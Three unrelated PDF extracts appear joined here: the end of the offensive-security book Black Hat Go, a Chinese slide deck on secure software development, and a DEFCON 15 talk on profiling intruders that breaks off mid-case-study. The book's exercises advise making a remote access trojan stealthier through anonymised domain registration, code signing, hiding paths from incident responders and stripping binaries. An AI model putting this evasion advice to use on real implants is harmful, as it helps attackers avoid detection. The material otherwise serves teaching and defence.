messages inflight. However, to support this sort of multiplexing, you’ll
need to implement a mechanism that can match a requestor with its proper
response. For example, if two admin operators send work simultaneously
to implants, the implants will generate two separate responses. If opera
tor 1 sends the ls command and operator 2 sends the ifconfig command,
it wouldn’t be appropriate for operator 1 to receive the command output
for ifconfig, and vice versa.
Building a Command-and-Control RAT 329
Add Implant Functionality
Our implementation expects the implants to receive and run operating
system commands only. However, other C2 software contains a lot of other
convenience functions that would be nice to have. For example, it would
be nice to be able to upload or download files to and from our implants. It
might be nice to run raw shellcode, in the event we want to, for example,
spawn a Meterpreter shell without touching disk. Extend the current func
tionality to support these additional features.
Chain Operating System Commands
Because of the way Go’s os/exec package creates and runs commands, you
can’t currently pipe the output of one command as input into a second
command. For example, this won’t work in our current implementation:
ls -la | wc -l. To fix this, you’ll need to play around with the command
variable, which is created when you call exec.Command() to create the com
mand instance. You can alter the stdin and stdout properties to redirect
them appropriately. When used in conjunction with an io.Pipe, you can
force the output of one command (ls -la, for example) to act as the input
into a subsequent command (wc -l).
Enhance the Implant’s Authenticity and Practice Good OPSEC
When you added encrypted communications to the implant in the first
exercise in this section, did you use a selfsigned certificate? If so, the
transport and backend server may arouse suspicion in devices and inspect
ing proxies. Instead, register a domain name by using private or anony
mized contact details in conjunction with a certificate authority service
to create a legitimate certificate. Further, if you have the means to do so,
consider obtaining a codesigning certificate to sign your implant binary.
Additionally, consider revising the naming scheme for your source code
locations. When you build your binary file, the file will include package
paths. Descriptive pathnames may lead incident responders back to you.
Further, when building your binary, consider removing debugging infor
mation. This has the added benefit of making your binary size smaller and
more difficult to disassemble. The following command can achieve this:
$ go build -ldflags="-s -w" implant/implant.go
These flags are passed to the linker to remove debugging information
and strip the binary.
Add ASCII Art
Your implementation could be a hot mess, but if it has ASCII art, it’s legiti
mate. Okay, we’re not serious about that. But every security tool seems
to have ASCII art for some reason, so maybe you should add it to yours.
Greetz optional.
330 Chapter 14
Summary
Go is a great language for writing crossplatform implants, like the RAT you
built in this chapter. Creating the implant was likely the most difficult part
of this project, because using Go to interact with the underlying operating
system can be challenging compared to languages designed for the operat
ing system API, such as C# and the Windows API. Additionally, because Go
builds to a statically compiled binary, implants may result in a large binary
size, which may add some restrictions on delivery.
But for backend services, there is simply nothing better. One of the
authors of this book (Tom) has an ongoing bet with another author (Dan)
that if he ever switches from using Go for backend services and general
utility, he’ll have to pay $10,000. There is no sign of him switching anytime
soon (although Elixir looks cool). Using all the techniques described in
this book, you should have a solid foundation to start building some robust
frameworks and utilities.
We hope you enjoyed reading this book and participating in the exercises
as much as we did writing it. We encourage you to keep writing Go and use
the skills learned in this book to build small utilities that enhance or replace
your current tasks. Then, as you gain experience, start working on larger
codebases and build some awesome projects. To continue growing your skills,
look at some of the more popular large Go projects, particularly from large
organizations. Watch talks from conferences, such as GopherCon, that can
guide you through more advanced topics, and have discussions on pitfalls
and ways to enhance your programming. Most importantly, have fun—and
if you build something neat, tell us about it! Catch you on the flippityflip.
IN DE X
bin directory, 2
binaries, 2
binary data handling, 213–216
Bing, 68–76
bodyType parameter, 46
braces, 14
break statements, 14
brute force, 252–261
buffer overflow fuzzing, 188–192
buffered channels, 29, 37–39
bufio package, 38, 112–113, 197
build command, 7
build constraints, 7–8
byte slices, 19
bytes package, 197
C
C, 201–212, 290–293
C transform, 213
Caddy Server, 127
.Call() method, 273
canonical name (CNAME) records,
109–111
capture() function, 184
CGO package, 291
channels, 16–17
Checker interface, 220–222
Cipher Block Chaining (CBC)
mode, 242
ciphertext, 234
cleartext
overview, 234
passwords, 150
sniffing, 178–180
client implants, 323–325, 327–329
Client struct, 53–54
cloned sites, 90–93
Close() method, 25
closed ports, 22
Cmd, 41
CNAME records, 109–111
Cobalt Strike, 118–124, 278
A
A records, 104, 109–111
Abstract Syntax Notation One (ASN.1)
encoding, 133–135, 137–138
acme/autocert, 235
Add(int), 27
Address Resolution Protocol (ARP)
poisoning, 178
Advanced Encryption Standard (AES)
algorithm, 242
ancillary chunks, 302
anonymous functions, 126
API interaction
overview, 51–53
Bing scraping, 68–76
Metasploit, 59–68
Shodan, 51–59
APIInfo struct, 55
append() function, 11
ARP (Address Resolution Protocol)
poisoning, 178
ASN.1 (Abstract Syntax Notation One)
encoding, 133–135, 137–138
assembly, 216
asymmetric algorithms, 234
asymmetric cryptography, 245. See also
encryption
Atom, GitHub, 4–5
authentication, 67, 86–88, 239–241
B
backticks, 19
base workspace directory, 2
Base64 encoding, 215–216
bcrypt hashing, 235, 237–239
Beacon, 121
Berkeley Packet Filter (BPF), 175, 181.
See also tcpdump
best practices
coding, 19, 49, 66, 185, 195, 329
security, 96, 236
332 Index
COFF File Header, 282–283
collision, 234
Command() function, 41
commands
build command, 7
cross-compiling, 7–8
go commands, 6–9
set command, 3
complex data types, 10–11
concurrency, 16–17, 37
concurrent scanning, 26–32
Conn, 35–38
connections, 24–25, 35, 327
constraints, 7–8
control structures, 14–16
convenience functions, 46–47, 140
Copy() function, 40
createChunkCRC() method, 304–305
CreateRemoteThread() Windows
function, 275–276
credential-harvesting attacks, 90–93
critical chunks, 302
cross-compiling, 7–8
cross-site scripting, 94
crypto package, 197, 235
cryptography
overview, 234–235
hashing, 234–239
curl, 40, 79
D
Data Directory, 285–287
data mapping, 71–73, 125
data types
channels, 16
maps, 11
primitive, 10–11
slices, 11
database miners, 161–170
debug package, 197
decoder function, 300
decoding process, 308
decryption, 234. See also encryption
DefaultServerMux, 78–79
defer, 49
DELETE requests, 47–48
dep tool, 9
development environment set up, 1–10
Dial() method, 24
dialects, 132–133
directives, 19
Dirty COW, 201–204
DNS clients, 104–117
DNS proxies, 124–127
DNS servers, 117–129
DNS tunneling, 121
do loops, 15
Docker, 90, 118–122, 154–158
document metadata, 69
Document Object Model (DOM), 74
domain fronting, 98
DOS Header, 281
DWORD, 271
E
echo servers, 32, 35–37
Empire, 121
Encode() method, 65
encodeDecode() function, 308
encoding package, 197
encoding process, 308
encryption, 234, 242–252
endianness function, 299
error handling, 17–18
error messages, 51
Exclusive OR (XOR), 307–312
Executable and Linkable Format
(ELF), 203
exploitation, 196–212
export address table (EAT), 279
F
field tags, 19–20, 139
filesystems, 170–171
filetype filter, 73
filtered ports, 22
filtering search results, 73–76
firewalls, 22–23
fixed field tag, 140
Flusher, 42
fmt package, 25
FOCA, 69
Foo struct, 19
for loop, 15
formatting
data, 38, 113–114
source code, 9
Frida, 278
fully qualified domain name
(FQDN), 104
fuzzing, 188–196
Index 333
G
gaping security holes, 41
Get() function, 46
get() HTTP function, 227–229
GetLoadLibAddress() function, 275
GetProcessAddress() Windows
function, 275
getRegex() function, 163
GetSchema() function, 163, 165
Gieben, Miek, 104
GitHub Atom, 4–5
GNU Compiler Collection (GCC), 290
go build command, 6–7
Go DNS package, 104
go doc command, 8
go fmt command, 9
go get command, 8–9
Go Playground execution
environment, 10
go run command, 6
Go Syntax
complex data types, 10–11
concurrency, 16–17
control structures, 14–16
data types, 10–11
interface types, 13
maps, 11
patterns, 12–14
pointers, 12
primitive data types, 10–11
slices, 11
struct types, 12–13
go vet command, 9
GOARCH constraint, 7–8
GoLand, 5–6
golint command, 9
GOOS constraint, 7–8
gopacket package, 174
gopacket/pcap subpackage, 174–175
GOPATH environment variable, 2–3
goquery package, 69
gorilla/mux package, 82–83, 84, 101
gorilla/websocket package, 96
GOROOT environment variable, 2–3
goroutines, 16–17, 26–32
gRPC framework, 316–319
gss package, 138
H
HandleFunc() method, 82
handler() function, 75–76
handles, 271. See also tokens
handshake process, 22–23
hash-based authentication, 147–150
hashing, 234–239
Head() function, 46
head() HTTP function, 226–227
hex transform, 214
hexadecimal 198, 281, 297
HMAC (Keyed-Hash Message
Authentication Code)
standard, 240–241
Holt, Matt, 127
host search, 55–57
HTTP clients
overview, 46–51
Bing scraping, 68–76
Metasploit interaction, 59–68
Shodan interaction, 51–59
HTTP servers
overview, 78–90
credential-harvesting attacks,
90–93
multiplexing, 98–102
WebSocket API (WebSockets),
93–98
http.HandleFunc(), 78–79
I
if statements, 18
implant code, 323–325, 327–329
import address table (IAT), 279
indexing metadata, 68–76
infinite loops, 37
init() function, 101
input/output (I/O) tasks, 32–35
instreamset filter, 73
integrated development environments
(IDEs), 3–6
interface{} type, 97
interface types, 13
io package, 32, 197
io.Pipe() function, 43
io.ReadCloser, 49
io.Reader, 32–35, 46
ioutil.ReadAll() function, 49
io.Writer, 32–35
J
Java, 118–120
JavaScript, 94–95
JBoss, 198
334 Index
JetBrains GoLand, 5–6
jQuery package, 69
JS Bin, 94
JSON, 19, 50, 54, 139, 159
K
Kerberos, 133
Kernel32.dll, 275
Keyed-Hash Message Authentication
Code (HMAC) standard,
240–241
keylogging, 93–98
Kozierok, Charles M., 22
L
lab environments, 118–121
len field tag, 140
libraries, 2
lightweight threads, 16–17
loadLibraryA() function, 275
Login() method, 66
Logout() method, 66, 68
loops, 15, 37
Lua plug-ins, 225–232
Luhn checks, 253–254
M
madvise() function, 205
magic bytes, 296
main() function, 17
main package, 6
make() function, 11
Mandatory Integrity Control, 271
mapping data, 71–73, 125
maps, 11
Marshal() method, 19
marshalData() method, 305
marshaling interfaces, 135
MD5 hashes, 236–237
memory, 273–274
message authentication, 239–241.
See also authentication
message authentication codes
(MACs), 234
MessagePack, 60
metadata, 69, 138–139
Metasploit Framework, 59–68, 213
Meterpreter, 61, 98–102
Microsoft API documentation, 263–265
Microsoft SQL (MSSQL) Server
databases, 157–158, 160–161
Microsoft Visual Studio Code, 5
middleware, 80–81, 83–88
MinGW-w64, 290
mod tool, 9
MongoDB databases, 154–156, 158–160
MsfVenom, 213, 278
Msg struct, 106–107
MSYS2, 290
multichannel communication, 30–32
multiplexing, 98–102
mutex, 129
mutual authentication, 248–252
MySQL databases, 156–157, 160–161
N
named functions, 126
native plug-ins, 218–224
negroni package, 83–88
Nessus vulnerability scanner, 217
net package, 24–25, 197
Netcat, 40–44
net.Conn, 35
net/http standard package, 46, 48
New() helper function, 53–54
NewProperties() function, 72–73
NewRequest() function, 48
Nmap, 225
nonconcurrent scanning, 25–26
NoSQL databases, 154, 158
NT LAN Manager (NTLM)
authentication, 150–151
NTLM Security Support Provider
(NTLMSSP), 133–135
NTOWFv2, 148
num transform, 214
O
obfuscation, 307
Office Open XML documents, 69
offset field tag, 140
offset values, 300
omitempty, 62
open ports, 22
OPSEC, 329
Optional Header, 284–285
Oracle, 154
os package, 197
os/exec package, 41
Index 335
P
packages, 2, 8–9
packet capturing and filtering, 175–180
panic() function, 107, 112
parseTags() function, 140–142
passive reconnaissance, 51, 59
pass-the-hash authentication, 147–150
passwords, 146–151, 222–224
PATCH requests, 47
payloads, 101, 302–307
pcap, 175
PDF files, 69
PE (Portable Executable) format,
279–289
PipeReader, 43
PipeWriter, 43
PKCS (Public Key Cryptography
Standards), 242. See also
public-key cryptography
pkg directory, 2–3
placeholders, 83, 89
Plan 9 operating system, 216
plug-ins
Lua, 225–232
native, 218–224
plugin package, 219
PNG format, 296–307
pointers, 12
Portable Executable (PE) format,
279–289
Portable Network Graphics (PNG)
images, 296–307
ports
availability, 24–25
handshake process, 22
port forwarding, 23, 39–40
port scanners, 180–185, 222–224
scanning, 23–32. See also scanners
Post() function, 46–47
PostForm() function, 47
Postgres databases, 156–157, 160–161
PostgreSQL databases, 156–157,
160–161
PreProcessImage() function, 298
primitive data types, 10–11
process() function, 72–73
Process Hacker, 278
process injection, 268–269
Process Monitor, 278
ProcessImage() method, 302–303
procselfmem() function, 205
project structure, 52–53, 60
promisc variable, 177
Protocol Buffers (Protobuf), 316
PsExec, 131
public-key cryptography, 242, 245.
See also encryption
PUT requests, 47–48
Python, 197–201
Q
query parameters, 73–76
R
race condition functions, 206
Rapid7, 60
RATs (remote access Trojans), 315–329
raw transform, 215
RC2, 252–261
ReadString() function, 38
reconnaissance, 51, 59
redirectors, 98
referential fields, 138–139
reflect package, 139
reflection, 132, 139
regular expression (regex) values, 163
remote access Trojans (RATs), 315–329
remote procedure calls (RPCs),
59, 64–67, 316
request/response cycles, 46, 62–64
response handling, 48–51
Rivest, Ron, 252
RLock, 129
Roundcube, 90
routers, 79–80, 84–85
rst packets, 22
S
salts, 234
scanner package, 220, 223
scanners, 23–32, 180–185, 217,
222–224. See also ports
schema-less databases, 154
scraping metadata, 68–76
Search() function, 163
search query templates, 73–76
Section Table, 287–289
security tokens, 133–134
send() method, 65
serveFile() function, 97
Server Message Block (SMB), 132–147
server multiplexers, 78–79
336 Index
ServerMux, 78–79
SessionList() method, 66, 68
set command, 3
SHA-256 hashes, 236–237
shellcode, 203–204, 213–216
Shodan, 51–59
signature validation, 245–248
site filter, 73
slices, 11, 106, 126, 144–145
SQL injection fuzzing, 192–196
SQLite databases, 328
src directory, 3
stateless protocols, 46
static files, 93
Status struct, 50–51
steganography
overview, 295
PNG format, 296–307
XOR, 307–312
strconv package, 25
strlen() function, 17
strToInt() method, 304
structs
APIInfo struct, 55
Client struct, 53–54
encoding, 135
Foo struct, 19
handling, 142–143
Msg struct, 106–107
Status struct, 50–51
types of, 12–13, 19, 133–135
structured data, 18–19, 50–51
Stub, 281
subdirectories, 2–3
subdomains, 107–117
switch statements, 14, 129, 143
switched networks, 178
symmetric algorithms, 234
symmetric-key encryption, 242–245.
See also encryption
SYN cookies, 180–185
syn packets, 22
syn-acks, 22
SYN-flood protections, 180–185
syscall package, 197, 266–269
Syscall6() function, 210
T
tabwriter package, 113–114
Target breach, 154
TCP flags, 180–181
tcpdump, 102, 105, 175–178
TCP/IP Guide (Kozierok), 22
teamservers, 121
Telegram, 280
Telnet, 41
templates, 88–90
Tenable, 217
third-party packages, 8–9
tokens, 61–63, 271
“too fast” scanner, 26–27
Tour of Go tutorial, 10
Transmission Control Protocol (TCP)
handshake process, 22–23
port scanners, 23–32
proxies, 32–44
U
Ubuntu VM, 118–120
uint16 data types, 143–144
uintptr type, 266
unicode package, 197
unmarshal() function, 141–142
Unmarshal() method, 19
unmarshaling interfaces, 136
unsafe package, 197
unsafe.Pointer type, 266–267
USER property, 190
utility programs, 67–68
V
{{variable-name}} convention, 89
verbs, 47
Vim text editor, 3–4
vim-go plug-in, 3
virtual machines (VMs), 118–120
virtual memory, 273–274
VirtualAllocEx, 273–274
VirtualFreeEx() Windows function,
277–278
VMWare Workstation, 118–120
VS Code, 5
vulnerability fuzzers, 188–196
W
WaitforSingleObject() Windows
function, 276–277
waitForWrite() function, 206
WaitGroup, 27–28
walkFn() function, 171
WebSocket API (WebSockets), 93–98
Index 337
while loops, 15
Windows APIs, 263–265
Windows DLL, 218–219
Windows VM, 127
winmods files, 270
WINNT.H header, 285–286
Wireshark, 102, 225
worker functions, 28–30, 111–112
wrapper functions, 136–137
WriteData() function, 305–307, 311
WriteProcessMemory() function,
274–275
writer.Flush() function, 38
WriteString() function, 38
X
XML, 19–20, 69
XOR, 307–312
Black Hat Go is set in New Baskerville, Futura, Dogma, and The Sans Mono
Condensed.
Steele,
Patten, and
Kottmann
Black Hat Go
Go Programming
for Hackers and Pentesters
Go Programming for Hackers and Pentesters
Black Hat Go explores the darker side of Go,
the popular programming language revered
by hackers for its simplicity, efficiency, and
reliability. It provides an arsenal of practical
tactics from the perspective of security prac-
titioners and hackers to help you test your
systems, build and automate tools to fit your
needs, and improve your offensive security
skillset, all using the power of Go.
You’ll begin your journey with a basic over-
view of Go’s syntax and philosophy and start
to explore examples that you can leverage for
tool development, including common network
protocols like HTTP, DNS, and SMB. You’ll then
dig into various tactics and problems that pen-
etration testers encounter, addressing things
like data pilfering, packet sniffing, and exploit
development. You’ll create dynamic, pluggable
tools before diving into cryptography, attack-
ing Microsoft Windows, and implementing
steganography.
You’ll learn how to:
🐹 Make performant tools that can be used for
your own security projects
🐹 Create usable tools that interact with
remote APIs
🐹 Scrape arbitrary HTML data
🐹 Use Go’s standard package, net/http, for
building HTTP servers
🐹 Write your own DNS server and proxy
🐹 Use DNS tunneling to establish a C2 channel
out of a restrictive network
🐹 Create a vulnerability fuzzer to discover an
application’s security weaknesses
🐹 Use plug-ins and extensions to future-proof
products
🐹 Build an RC2 symmetric-key brute-forcer
🐹 Implant data within a Portable Network
Graphics (PNG) image.
Are you ready to add to your arsenal of secu-
rity tools? Then let’s Go!
About the Authors
Tom Steele, Chris Patten, and Dan Kottmann
share over 30 years in penetration testing and
offensive security experience, and have deliv-
ered multiple Go training and development
sessions. (See inside for more details.)
“Everything necessary to get started with
Go development in the security space”
— HD Moore, Founder of the Metasploit Project and
the Critical Research Corporation
THE FINEST IN GEEK ENTERTAINMENT™
www.nostarch.com
Price: $39.95 ($53.95 CDN)
Shelve In: COMPUTERS/SECURITY
Tom Steele, Chris Patten, and Dan Kottmann
Foreword by HD Moore
Black Hat Go | pdf |
Secure SofwareDevelopment LifeCycle
为您构架安全的业务系统
企业最佳安全实践
系统安全
网络安全
应用安全
1990-2017
2002-2017
2006-2017
网络攻击的方向
木桶原理
安全攻击,最薄弱环节的攻击;
安全问题,最薄弱环节的集群式爆发;
最薄弱环节的攻击
没有考虑安全设计的业务系统,理论上安全风险较高;
没有经过长时间考验的业务系统,实际安全风险较高;
没有经过验证的业务逻辑,带来的新形式的攻击较多。
最新业务的攻击
漏洞
防御
体系
威胁
防御
体系
漏洞防御体系
依照漏洞思维来建立的防御系统:
1、既有漏洞的安全经验;
2、测试发现的漏洞情况;
优势:简单、快速、高效;
劣势:不够全面、攻击样板点需要足够、未知风险较高
现状:目前互联网主流模式,大量SRC起来的原因都在此
威胁防御体系
通过建立威胁模型,来充分发现软件产品中的威胁,在设
计、开发、测试、运维等各个角度来削减威胁,最后达到
一个动态的平衡。
优势:系统、全面、成本可控;
劣势:体系建设需要一个周期,全员质量
现状:目前行业仅TOP 100强开始超这个思路建设
软件安全建设思路
安全防御体系
增加攻击成本
网络安全
降低安全风险
敏捷开发环境,特别在DevOps模式下,留给
安全测试人员的时间非常有限,无法充分发现
安全问题;
敏捷开发模式下安全测试
01
在开发环境中,安全人员数量有限,多项目并
行交付、上线过程中,无法进行充分的安全测
试;
多项目并行环境
02
目前软件开发过程中,会引入大量的第三方组
件,第三方组件的安全问题爆发,会导致整个
产品的安全问题;
第三方代码带来的安全问题
03
在线系统出现问题后,如何快速解决以及溯源
应急响应机制
04
面临
挑战
软件安全开发生命周期,主要目的是通
过系统的体系,帮助软件开发厂商在需
求、设计、开发、测试、部署上线等各
个阶段降低安全风险,提升安全能力。
安全设计
设计
安全测试
测试
安全需求
需求
安全开发
开发
S-SDLC
软件安全开发生命周期
部署
上线
安全风险
Security Risk
Network
Application
Mobile
Cloud
IoT
Mobile TOP 10 Risk
M1-平台使用不当
M2-不安全的数据存储
M3-不安全的通信
M4-不安全的身份验证
M5-加密不足
M6-不安全的授权
M7-客户端代码质量问题
M8-代码篡改
M9-逆向工程
M10-无关的功能
OWASP TOP 10
A1 - 注入
A2 -失效的身份认证和会话管理
A3 -跨站脚本( XSS)
A4 - 不安全的直接对象引用
A5 -安全配置错误
A6 -敏感信息泄漏
A7 - 功能级访问控制缺失
A8 -跨站请求伪造 ( CSRF)
A9 - 使用含有已知漏洞的组件
A10 - 未验证的重定向和转发
IoT TOP 10
I1 - 不安全的Web界面
I2 -不完备的认证授权机制
I3 -不安全的网络服务
I4 - 缺乏传输加密
I5 -隐私处理存在问题
I6 -不安全的云环境
I7 -不安全的移动设备环境
I8 -不完备的安全配置
I9 -不安全的软件、固件
I10 -薄弱的物理安全保护
100%的IoT设备接受123456这样的弱密码
100%的IoT设备没有闭锁机制
100%的IoT设备有枚举风险
70%的IoT设备的SSH通道有root帐号权限
60%的IoT设备的web页面有XSS和SQL
injection问题
70%的IoT设备没有加密机制
80%的IoT设备收集用户个人信息
90%的IoT设备没有多重认证机制
90%的IoT设备的软件升级过程有安全漏洞
安全风险导致问题
IoT全球DDOS攻击案例
安全风险削减过程 Security Risk Reduction
威胁
分析
安全
设计
安全
开发
安全
测试
安全
部署
建立安全开发体系 S-SDLC
需求
设计
开发
测试
部署和
运维
-
风险评估
-
威胁建模
-
设计审核
-
攻击面分析
-
安全开发
-
代码审核
-
安全测试
-
渗透测试
-
安全加固
-
补丁管理
-
漏洞管理
-
安全事件响应
-
风险评估模板
-
威胁库
-
设计审核模板
-
公共安全组件
-
静态分析工具
-
动态分析工具
-
第三方渗透测
试
-
安全基线
-
扫描、监控、
管理工具
培训、政策、组织能力
敏捷开发模式
S-SDLC
• 环境初始
化
• 威胁建模
• 安全开发
• 持续集成
• 自动化部署
• 安全运维
• 持续测试
• 更新设计
• 代码审核
• 渗透测试
设计
开发
测试
部署
THANKS
www.seczone.cn
4000-983-183 | pdf |
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
DEFCON 15
Analyzing Intrusions & Intruders
A Deeper look at a psychological approach towards network analysis
Sean M. Bodmer
Savid Technologies, Inc.
[email protected]
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
!!Updated Presentation!!
» This slide deck is different from your CD
» I will provide an updated brief to DEFCON
for further review
» Thanks in advance!
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Introductions
» Who am I?
– Sean M. Bodmer
• Savid Technologies, Inc.
• Honeynet Researcher & Intrusion Analyst
• Information Security/Criminal Sciences Researcher
• Over a decade working in Information Security
– Not an expert Behavioral Profiler!
• A Intrusion Analyst by trade
• Studies signatures and observables of Intrusions
• Building a thesis on Attacker/Threat Profiling
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Why am I here?
» To enable you to walk
away with alternative
concepts and methods to
better perform intrusion
analysis and attacker
characterization of cyber
crimes and cyber
criminals
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Everyone's Challenge
» What can you do as a Security Professional to
protect your assets and better understand
threats?
» How do you learn from attackers and threats?
» How can you use this to properly analyze the
motives, intent, and behaviors?
» How can you prevent further attacks and
generate stronger protections?
» How do you effectively communicate your
findings to senior leadership?
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Overall Foundations
» Behavioral Profiling
–– Generally profiling has negative connotations, but this is the l
Generally profiling has negative connotations, but this is the literal
iteral
term
term…
…
–– Assumptions of Profiling
Assumptions of Profiling
• The rational relies on the uniqueness of experience & different
personality types will be reflected in lifestyles & behaviors. This leads
to assumptions about profiling:
– The intrusion reflects the personality
– The methods remain similar
– The signature remains the same
– The personality will not change
– Analyzes the pattern of Individuals and Groups
• Focus on Behavior
• Skills and Abilities
• Accessibility to/use of Resources
• Motivation
• Complexity
– Needs a multi-disciplinary approach
– Simply being an Profiler or Network Geek won’t get you thye complete
picture
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Case Study A
» 1888 A.D. - Jack The Ripper
– Unidentified Serial Killer
– Whitechapel, United Kingdom
– Mutilated 5 Prostitutes
» First case Profiling was actively utilized
– At that time the concepts of criminal profiling, fingerprinting, and
other such knowledge and intelligence that have developer were
poorly understood if not altogether unknown
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Case Study A
» Modus Operandi (MO)
» Patterns and Signatures
–
Victim Type - prostitutes, mid age.
–
Areas - Dark secluded streets of Whitechapel, in London's East End (exception Marie Kelly).
–
Murder - throat cut from left to right, victim mutilated.
–
Victim After Murder - body not concealed or moved, body organs missing (cannibalism/fetishism?)
Victim
Date
Circumstances of Death
Mutilations
Mary Nicholls
31 Aug 1888
killed where found; no
shout/cry(sho)
abdomen slashed
Annie Chapman
8 Sep 1888
no signs of struggle(str)
disembowelled; uterus
missing
Elizabeth Stride
30 Sep 1888
throat cut on ground; no
str; no sho
no mutilation
Catherine Eddowes
30 Sep 1888
throat cut on ground; no
sho
abdomen laid open; kid,
uter missing
Marie Kelly
9 Nov 1888
killed lying on bed, no str
extensive body
mutilation
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Case Study A
» Suspects
–
A Royal Plot - This theory was by author Stephen Knight who talked to some
grandson who said that his painter dad knew of a Royal duke who had a baby by
a prostitute (who posed for the painter). So the Queen inscribed the help of her
doctor and Freemasons (Lord Salisbury and Sir William Gull) who then killed the
prostitute friends with each Jack the Ripper murder.
–
Doctors - Did Jack the Ripper need medical knowledge to kill his victims? Some
doctor's said he did and some said he did not. Here are some comments from
doctors who carried out autopsies on Jack's victims –
• Mary Nicholls - 'Deftly and skillfully performed.' - Dr Llewellyn.
• Annie Chapman - 'Obviously the work was that of an expert - or one, at
least, who had such knowledge of anatomical or pathological examinations
as to be enabled to secure the pelvic organs with one sweep of the knife.' -
Dr Phillips.
• Catherine Eddowes - 'A good deal of knowledge as to the position of the
organs in the abdominal cavity.' - Dr Brown.
• Catherine Eddowes - 'No stranger to the knife.' - Dr Sequiera.
• Marie Kelly - 'No scientific or anatomical knowledge.' - Dr Bond.
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Case Study A
»
Jack the Ripper's crimes were disorganized
–
Murder usually happens spur of the moment (with no planning but the one simple
objective to kill)
–
Does not bring any tools ('rape kit') to the kill except maybe murder device
–
No contact with the victim prior to spur of the moment murder
–
No rape, torture etc. will take place before murder
–
Kills victim but does not care for evidence usually left at the crime scene (high
degree of violence takes place at murder)
–
Will not move body in an attempt to hide, bury it etc., unconcerned of its
discovery
–
Killer might be involved further with the dead victim (mutilation, necrophilia,
cannibalism, etc) and may also take souvenir
»
Organization in an Intrusion provides an observable signature…
–
Knowledge of the Environment/Terrain
–
Extremely Skilled with Tools and Operating Systems
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Case Study A
»
Basic Profile of Jack
–
Jack would probably of grown up in a poor household, where the fathers work was unstable
and where he experienced harsh discipline
–
The family could of also been subject to sexual abuse, alcohol or drug problems, mental
illness etc
–
Jack would of been a shy quiet type as he had internalized the painful emotions at home
–
He would also have a poor self image with a disability or physical ailment, casting him from
society and making him feel very inadequate
–
He would also be an underachiever and would probably have a menial job in the industrial
sector
–
Jack would of been unable to live or socialize with other people, leading a very lonely life, the
only people he would live with would be his parents or on his own
–
He would also have no relationships so his hate and anger would be aimed at the opposite of
sex, but no rape, as he was very incapable
–
Jack's mental illness would have played a big part on the murder and mutilation of his victims
–
He would also take little to no interest in the murder after it was committed so he would of
never sent any letters (the media did)
–
Jack's motive was of course : sex, dominance, and power
–
Jack was also a stable killer - a person who murders in the same basic area, so this means
that it was quite definite that he lived right in Whitechapel in 1888.
(Profile made up from notes of classification from the book - 'Whoever Fights Monsters' By Robert K. Ressler and Tom Shachtman)
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Leveraging Capabilities
» There is over 100 years of experience from the Law
Enforcement Community that you can leverage to better
understand threats and the motivations of attackers
» That experience is key to understanding threats and
increasing awareness…
» Information Systems are now at a point to enable
human analytical capabilities to move beyond simple
network analysis and post-mortem analysis
» How do you know what implementation is best for you?
– Recursive Learning Systems?
– Automated Signature Generation Systems?
– Managed Security Services?
– On-Site Contractors?
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Getting Scientific
» Criminal Investigative Analysis
– Review Crimes from a behavioral, investigative, and forensic
perspective
– Reviewing and assessing the facts of the criminal act
– Interpreting offender behavior and interaction with the victim
systems as exhibited during the crime or displayed in the crime
scene
» A person’s basic behavior, exhibited in a crime scene,
will also be present in that person’s lifestyle
– That is what helps determine the type of person you are looking
for
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Getting Technical
» Threat Analysis/Modeling
– Common Components
• Potential Attacks/Threats/Risks
• Analysis
• Countermeasures
• Future Preparations
» Common Analysis Approach:
– Locate key system vulnerabilities
– Classify possible attackers
– Identify goals of attacker
– Enumerate possible ways to achieve goals
– Create resolution plan
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Two Worlds Collide…
» Relying solely on and Post-Mortem analysis does not work
in an age of “All Things Cyber”
» It is possible to take a deeper look at the behaviors and
personalities of “who” is attacking your infrastructure
» Now we need to understand the “who” and “why” to
prevent further attacks
» Behavioral Profiling defines how security professional can
better understand the motivations and methods of
attackers
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Two Worlds have Collided
» Principals of combined profiling and threat analysis:
– Profiling of individuals for the purposes of identification and
possible apprehension
– Collection and analysis of data into models that allow better
theoretical understanding of threats
– Utilize research to assist in calculating motives and behaviors in
specific attacks by groups/individuals
– Utilize research to create models of threats that involve variables
such as to illustrate to stakeholders probable next targets of
threats
– To understand where the community is going next or may have
been previously
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Now you can be a Columbo!
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
One more thing…
» Types of Investigations
– Inductive
• Qualitative analysis lifecycle
• Relies on guesswork and assumptions
• Not recommended for professional investigations
– Deductive
• Quantitative analysis lifecycle
• Relies on evidence and hard facts
• Capable of leveraging over a century of
information
• Highly recommended for professional intrusion
analysts
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Oh, just one more thing!
»
Cyber Crime Scene Investigations
–
Assess Scene
•
Document all Observables
–
Collect Evidence
•
Document, Label, and Store all Evidence for analysis
–
Collect Data Sources
•
Communicate with Data Handlers/Managers
•
Document all Sources
–
Analyze
•
Network Forensics
–
Document all Observables
•
Host Forensics
–
Document all Observables
–
Assessment
•
Generate Attacker Profile
–
Document all Modus Operandi
–
Define all Signatures of Specifics/Modus Operandi
–
Report
•
Generate Intrusion Report
–
Technical
–
Observables
–
Threat Profile
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Case Study B
» “HotterthanMojaveinmyheart” AKA “El Griton,” Julio Ardita
–
Hacked into NASA, DoD, U.S. colleges, and colleges in Korea, Mexico, Taiwan,
Chile and Brazil
–
Hacked into the private telephone systems of companies in his native Argentina,
dialed into Harvard U’s computer system, and launched his U.S. hacking attacks
through Harvard.
–
